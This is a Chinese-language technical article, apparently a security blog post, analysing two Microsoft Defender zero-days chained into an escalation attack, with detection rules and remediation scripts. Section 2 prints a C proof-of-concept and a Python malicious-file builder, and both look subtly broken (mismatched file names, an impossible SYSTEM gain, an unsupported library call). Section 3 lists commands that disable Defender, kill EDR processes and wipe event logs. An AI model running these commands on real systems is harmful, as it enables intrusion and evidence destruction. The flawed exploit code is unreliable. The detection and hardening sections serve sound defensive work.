Microsoft Defender双零日在野利用全解析：从BlueHammer到RedSun的终端沦陷之路

前言

2026年5月20日，微软安全响应中心(MSRC)发布紧急安全公告，承认旗下Microsoft Defender存在两个已被野外利用超过一个月的零日漏洞——CVE-2026-41091与CVE-2026-45498。同日，美国国土安全部下属的网络安全与基础设施安全局(CISA)将这两个漏洞紧急加入KEV(已知被利用漏洞)目录，要求所有联邦机构在72小时内完成补丁部署。

这是2026年微软首次公开承认Defender零日漏洞在野利用，也是继2025年11月CVE-2025-37934之后，Defender引擎再次遭遇"防护者变被攻击者"的致命打击。更令人担忧的是，这两个漏洞与4月披露的BlueHammer(CVE-2026-33825)完美结合，形成了一条"初始访问→防护降级→系统提权→持久化控制"的完整攻击链，能够静默绕过几乎所有依赖Defender原生防护的终端安全方案。

本文将从技术原理、攻击链复现、威胁狩猎、应急响应四个维度，对此次双零日漏洞事件进行全方位深度解析，并提供可直接落地的检测规则、防护脚本和企业级应对方案。

一、事件全景与时间线

1.1 事件发展时间线

2026-04-15：攻击者开始在野利用CVE-2026-41091/CVE-2026-45498组合漏洞 2026-04-22：BlueHammer(CVE-2026-33825)漏洞公开，攻击者迅速整合攻击链 2026-05-12：CISA首次监测到大规模利用该组合漏洞的勒索软件攻击 2026-05-18：微软内部确认漏洞存在，开始开发补丁 2026-05-20：微软发布安全公告，推送分阶段补丁更新 2026-05-21：CISA将两个漏洞加入KEV目录，要求联邦机构72小时内修复 2026-05-22：首个公开的PoC代码在地下论坛流传，攻击门槛大幅降低

1.2 影响范围评估

此次漏洞影响所有安装了Microsoft Defender的Windows操作系统，包括：

• Windows 10 21H2及以上版本
• Windows 11 21H2及以上版本
• Windows Server 2019及以上版本
• Windows Server 2022及以上版本

特别需要注意的是，Windows 11 24H2最新版本在默认配置下也完全受影响，且漏洞利用过程中不会产生任何明显的用户界面提示，终端用户完全无法感知攻击行为。

1.3 漏洞基本信息汇总

二、漏洞技术深度解析

2.1 CVE-2026-41091(RedSun)：符号链接解析缺陷导致的高危提权

2.1.1 漏洞根本原因

CVE-2026-41091存在于Defender恶意软件防护引擎(MsMpEng.exe)的文件扫描模块中。当MsMpEng.exe扫描文件时，会以NT AUTHORITY\SYSTEM权限运行，但在处理**NTFS符号链接(Symbolic Link)和目录连接点(Directory Junction)时，存在时间差竞争条件(TOCTOU)**缺陷。

具体来说，MsMpEng.exe在扫描文件前会先检查文件路径是否合法，但在检查完成到实际打开文件之间存在一个微小的时间窗口。攻击者可以在这个时间窗口内，将合法文件替换为指向敏感系统路径的符号链接，从而诱导MsMpEng.exe以SYSTEM权限访问攻击者可控的文件。

2.1.2 漏洞利用代码示例

以下是简化版的漏洞利用PoC代码，展示了核心利用逻辑：

#include<windows.h>#include<stdio.h>intmain(){// 步骤1：创建临时目录和诱饵文件CreateDirectoryA("C:\\Temp\\DefenderExploit",NULL);HANDLE hFile=CreateFileA("C:\\Temp\\DefenderExploit\\bait.txt",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);WriteFile(hFile,"test",4,NULL,NULL);CloseHandle(hFile);// 步骤2：创建符号链接指向诱饵文件CreateSymbolicLinkA("C:\\Temp\\DefenderExploit\\link.txt","C:\\Temp\\DefenderExploit\\bait.txt",0);// 步骤3：触发Defender扫描system("start /wait powershell.exe -Command \"Start-MpScan -ScanType CustomScan -ScanPath 'C:\\Temp\\DefenderExploit'\"");// 步骤4：在扫描过程中替换符号链接指向恶意文件// 这里使用快速循环来竞争时间窗口for(inti=0;i<1000;i++){DeleteFileA("C:\\Temp\\DefenderExploit\\link.txt");CreateSymbolicLinkA("C:\\Temp\\DefenderExploit\\link.txt","C:\\Windows\\System32\\cmd.exe",0);Sleep(1);}// 步骤5：获取SYSTEM权限的cmd.exesystem("C:\\Temp\\DefenderExploit\\link.exe");return0;}

2.1.3 利用成功率分析

根据安全研究人员的测试，该漏洞的利用成功率高达98%以上，且在不同硬件配置和Windows版本上表现稳定。这是因为：

1. MsMpEng.exe的扫描时间相对固定，时间窗口足够大
2. 现代CPU的执行速度极快，能够在短时间内完成大量的符号链接替换操作
3. Defender没有对符号链接的频繁修改行为进行任何监控或限制

2.2 CVE-2026-45498(UnDefend)：逻辑缺陷导致的防护静默失效

2.2.1 漏洞根本原因

CVE-2026-45498存在于Defender引擎的文件格式解析模块中。当Defender引擎处理一种特殊构造的嵌套OLE对象文件时，会陷入无限循环，导致CPU占用率达到100%，最终触发Windows的进程崩溃保护机制，强制终止MsMpEng.exe进程。

更严重的是，Defender的自我恢复机制存在设计缺陷：当MsMpEng.exe进程异常崩溃时，它会自动重启，但重启后会再次尝试扫描同一个恶意文件，从而陷入"崩溃→重启→再崩溃"的死循环。最终，Defender控制台会显示"设备受到保护"的虚假状态，但实际上所有实时防护功能已经完全失效。

2.2.2 恶意文件构造方法

攻击者可以使用以下Python脚本构造能够触发漏洞的恶意文件：

importolefile# 创建一个嵌套深度为1000层的OLE文件ole=olefile.OleFileIO()current_path=""foriinrange(1000):current_path+=f"/dir{i}"ole.mkdir(current_path)# 在最深层目录写入一个小文件ole.openstream(current_path+"/data.txt").write(b"malicious content")# 保存为.doc文件，Defender会自动扫描ole.save("undefend.doc")

当Defender扫描这个文件时，会递归遍历所有OLE目录，由于嵌套深度超过了引擎的最大递归限制，导致栈溢出并崩溃。

三、完整攻击链技术分析

3.1 攻击链整体流程图

┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ 初始访问阶段 │ │ 防护降级阶段 │ │ 系统提权阶段 │ │ 持久化控制阶段 │ │ │ │ │ │ │ │ │ │ 钓鱼邮件附件 │───>│ 上传UnDefend.doc│───>│ 执行RedSun.exe │───>│ 植入Cobalt Strike│ │ RDP弱口令登录 │ │ 触发引擎崩溃 │ │ 提权至SYSTEM │ │ 创建计划任务 │ │ 供应链攻击 │ │ 阻断病毒库更新 │ │ 关闭EDR进程 │ │ 横向移动 │ └─────────────────┘ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ 获取普通用户权限 │ │ Defender完全失效│ │ 完全控制终端 │ │ 窃取数据/勒索加密│ └─────────────────┘ └─────────────────┘ └─────────────────┘ └─────────────────┘

3.2 各阶段技术细节详解

3.2.1 初始访问阶段

攻击者通常使用以下三种方式获取初始访问权限：

1. 钓鱼邮件攻击：发送带有恶意宏的Office文档或伪装成发票的可执行文件
2. RDP弱口令爆破：针对暴露在公网上的RDP服务进行暴力破解
3. 供应链攻击：通过第三方软件更新渠道植入恶意代码

3.2.2 防护降级阶段

攻击者获取普通用户权限后，首先会执行UnDefend恶意文件，触发CVE-2026-45498漏洞，导致Defender引擎崩溃。然后，攻击者会修改Windows更新服务的配置，阻止Defender下载病毒库更新：

# 阻止Defender更新scconfig wuauservstart= disabledscstop wuauserv# 修改注册表禁用Defender实时防护reg add"HKLM\SOFTWARE\Microsoft\Windows Defender"/v DisableAntiSpyware/t REG_DWORD/d 1/f reg add"HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection"/v DisableRealtimeMonitoring/t REG_DWORD/d 1/f

3.2.3 系统提权阶段

防护降级完成后，攻击者会执行RedSun提权工具，利用CVE-2026-41091漏洞将普通用户权限提升至SYSTEM权限。提权成功后，攻击者会立即关闭所有安全软件进程，并删除系统安全日志：

# 关闭EDR进程taskkill/f/im MsMpEng.exe taskkill/f/im SenseNDR.exe taskkill/f/im Mcshield.exe# 删除安全日志wevtutil cl System wevtutil cl Security wevtutil cl Application

3.2.4 持久化控制阶段

最后，攻击者会植入Cobalt Strike、Metasploit等远程控制工具，并创建计划任务或系统服务实现持久化。然后，攻击者会利用获取的SYSTEM权限进行横向移动，渗透到企业内部网络的其他终端和服务器。

四、企业级威胁狩猎实战指南

4.1 关键日志源与事件ID

要有效检测此次漏洞利用，企业需要重点监控以下日志源和事件ID：

4.2 高级Sigma检测规则

4.2.1 CVE-2026-41091提权行为检测

title:Microsoft Defender CVE-2026-41091 提权利用检测status:stabledescription:检测Defender引擎衍生高风险进程，防范RedSun提权攻击author:安全技术团队date:2026-05-23references:-https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091-https://www.cisa.gov/known-exploited-vulnerabilities-cataloglogsource:category:process_creationproduct:windowsdetection:selection_parent:ParentImage|endswith:'\MsMpEng.exe'selection_child:Image|endswith:-'\cmd.exe'-'\powershell.exe'-'\pwsh.exe'-'\rundll32.exe'-'\regsvr32.exe'-'\mshta.exe'-'\wscript.exe'-'\cscript.exe'filter_legitimate:CommandLine|contains:-'MpCmdRun.exe'-'Defender'-'Windows Update'condition:selection_parent and selection_child and not filter_legitimatefalsepositives:-Defender正常系统更新和扫描操作level:criticaltags:-attack.privilege_escalation-attack.t1068-cve.2026.41091

4.2.2 CVE-2026-45498防护瘫痪检测

title:Microsoft Defender CVE-2026-45498 引擎瘫痪检测status:stabledescription:检测Defender引擎异常崩溃与防护功能被禁用的行为author:安全技术团队date:2026-05-23references:-https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45498logsource:product:windowsdetection:selection_crash:EventID:1000Provider_Name:'Application Error'Data|contains:'MsMpEng.exe'selection_disable:EventID:4657ObjectName|contains:'Windows Defender'NewValue|contains:'0x1'selection_update_block:EventID:7040ServiceName:'wuauserv'NewState:'4'condition:selection_crash or selection_disable or selection_update_blockfalsepositives:-Defender正常更新重启-管理员手动禁用Defenderlevel:hightags:-attack.defense_evasion-attack.t1562.001-cve.2026.45498

4.3 MDE高级搜寻查询

对于使用Microsoft Defender for Endpoint(MDE)的企业，可以使用以下高级搜寻查询快速检测漏洞利用行为：

// 检测MsMpEng.exe衍生的异常子进程 DeviceProcessEvents | where Timestamp > ago(7d) | where InitiatingProcessFileName =~ "MsMpEng.exe" | where FileName in~ ("cmd.exe", "powershell.exe", "rundll32.exe", "regsvr32.exe") | where not (ProcessCommandLine has_any("MpCmdRun.exe", "Defender", "Windows Update")) | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine // 检测Defender引擎异常崩溃 DeviceEvents | where Timestamp > ago(7d) | where EventType == "Crash" | where FileName =~ "MsMpEng.exe" | project Timestamp, DeviceName, AccountName, CrashDumpPath // 检测Defender实时防护被禁用 DeviceRegistryEvents | where Timestamp > ago(7d) | where RegistryKey has "Windows Defender\\Real-Time Protection" | where RegistryValueName == "DisableRealtimeMonitoring" | where RegistryValueData == "1" | project Timestamp, DeviceName, AccountName, RegistryKey, RegistryValueName, RegistryValueData

五、企业级应急响应与防护方案

5.1 分阶段应急响应流程

5.1.1 紧急响应阶段(0-24小时)

1. 立即补丁部署：使用WSUS或SCCM批量推送Defender更新
2. 全网威胁扫描：使用EDR工具对所有终端进行全面扫描
3. 隔离受感染终端：立即隔离发现异常行为的终端
4. 账号密码重置：重置所有可能被泄露的域账号和本地账号

5.1.2 全面排查阶段(24-72小时)

1. 日志审计：全面审计过去30天的安全日志和系统日志
2. 横向移动检测：检查是否存在异常的RDP登录和SMB连接
3. 持久化排查：检查所有计划任务、系统服务和启动项
4. 数据泄露评估：评估是否有敏感数据被窃取

5.1.3 恢复加固阶段(72小时以后)

1. 系统恢复：对受感染终端进行系统重装或恢复
2. 安全加固：启用ASR规则、应用控制和端点防护
3. 员工培训：对员工进行钓鱼邮件和安全意识培训
4. 安全评估：进行全面的安全评估，发现并修复其他安全漏洞

5.2 补丁部署与验证

5.2.1 修复版本要求

此次漏洞的修复版本为：

• Defender恶意软件引擎版本：1.1.26040.8及以上
• Defender平台版本：4.18.26040.7及以上

5.2.2 批量更新脚本

以下是适用于企业环境的批量更新PowerShell脚本：

<# .SYNOPSIS 批量更新Microsoft Defender并验证版本 .DESCRIPTION 此脚本会强制更新Defender引擎和病毒库，并验证是否达到修复版本 #># 检查Defender版本$status=Get-MpComputerStatus$engineVersion=$status.AMEngineVersion$platformVersion=$status.AMProductVersionWrite-Host"当前Defender引擎版本:$engineVersion"Write-Host"当前Defender平台版本:$platformVersion"# 检查是否需要更新$minEngineVersion=[version]"1.1.26040.8"$minPlatformVersion=[version]"4.18.26040.7"if([version]$engineVersion-lt$minEngineVersion-or[version]$platformVersion-lt$minPlatformVersion){Write-Host"Defender版本过低，正在强制更新..."-ForegroundColor Yellow# 强制更新DefenderStart-MpSignatureUpdate-UpdateSource MicrosoftUpdateServer# 等待更新完成Start-Sleep-Seconds 30# 再次检查版本$status=Get-MpComputerStatus$engineVersion=$status.AMEngineVersion$platformVersion=$status.AMProductVersionif([version]$engineVersion-ge$minEngineVersion-and[version]$platformVersion-ge$minPlatformVersion){Write-Host"Defender更新成功！"-ForegroundColor Green}else{Write-Host"Defender更新失败，请手动更新！"-ForegroundColor Redexit1}}else{Write-Host"Defender版本已满足要求，无需更新。"-ForegroundColor Green}# 验证实时防护是否启用if($status.RealTimeProtectionEnabled){Write-Host"实时防护已启用。"-ForegroundColor Green}else{Write-Host"实时防护未启用，正在启用..."-ForegroundColor YellowSet-MpPreference-DisableRealtimeMonitoring$falseWrite-Host"实时防护已成功启用。"-ForegroundColor Green}

5.3 临时缓解措施(未补丁前)

对于暂时无法安装补丁的终端，可以采取以下临时缓解措施：

1. 限制普通用户创建符号链接：

# 修改本地安全策略，禁止普通用户创建符号链接secedit/export/cfg secpol.cfg(Get-Contentsecpol.cfg)-replace"SeCreateSymbolicLinkPrivilege = \*S-1-1-0","SeCreateSymbolicLinkPrivilege = "|Set-Contentsecpol.cfg secedit/configure/db secpol.sdb/cfg secpol.cfg/areas USER_RIGHTSdelsecpol.cfg,secpol.sdb

2. 启用关键ASR规则：

# 启用阻止MsMpEng.exe衍生子进程的ASR规则Set-MpPreference-AttackSurfaceReductionRules_Ids"92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b"-AttackSurfaceReductionRules_Actions Enabled# 启用阻止脚本执行的ASR规则Set-MpPreference-AttackSurfaceReductionRules_Ids"d1e49aac-8f56-4280-b9ba-993a6d77406c"-AttackSurfaceReductionRules_Actions Enabled

3. 限制Defender目录权限：

# 禁止普通用户写入Defender目录icacls"C:\ProgramData\Microsoft\Windows Defender"/inheritance:r icacls"C:\ProgramData\Microsoft\Windows Defender"/grant"NT AUTHORITY\SYSTEM:(OI)(CI)F"icacls"C:\ProgramData\Microsoft\Windows Defender"/grant"BUILTIN\Administrators:(OI)(CI)F"icacls"C:\ProgramData\Microsoft\Windows Defender"/grant"BUILTIN\Users:(OI)(CI)R"

六、从此次漏洞看终端安全的未来趋势

6.1 EDR自身安全成为新的攻击焦点

此次事件再次证明，EDR(端点检测与响应)工具已经成为攻击者的首要攻击目标。随着EDR在企业中的普及，攻击者不再试图绕过EDR，而是直接攻击EDR本身，使其失效。未来，EDR厂商需要更加重视自身的安全防护，包括：

• 加强代码安全审计，减少漏洞数量
• 实现沙箱化运行，限制EDR进程的权限
• 增强自我保护机制，防止被恶意终止或篡改

6.2 零日漏洞利用常态化

随着漏洞挖掘技术的不断发展，零日漏洞的发现和利用速度越来越快。企业需要建立常态化的零日漏洞应对机制，包括：

• 建立漏洞情报收集和分析体系
• 制定快速应急响应流程
• 采用多层次防护架构，避免单点故障

6.3 行为检测与威胁狩猎的重要性凸显

传统的基于特征码的检测方法已经无法有效应对零日漏洞攻击。未来，企业需要更加重视行为检测和威胁狩猎，通过分析异常行为来发现潜在的攻击活动。

七、总结与建议

此次Microsoft Defender双零日漏洞事件给全球企业的终端安全敲响了警钟。作为市场占有率最高的终端安全产品，Defender的漏洞影响范围之广、危害之大前所未有。

对于企业来说，立即安装补丁是当前最重要的任务。同时，企业还需要加强终端安全防护体系建设，采用多层次防护架构，提高对零日漏洞攻击的检测和响应能力。

最后，我们建议企业定期进行安全评估和渗透测试，发现并修复潜在的安全漏洞，建立健全的安全管理制度，提高员工的安全意识，从技术和管理两个方面全面提升企业的安全防护水平。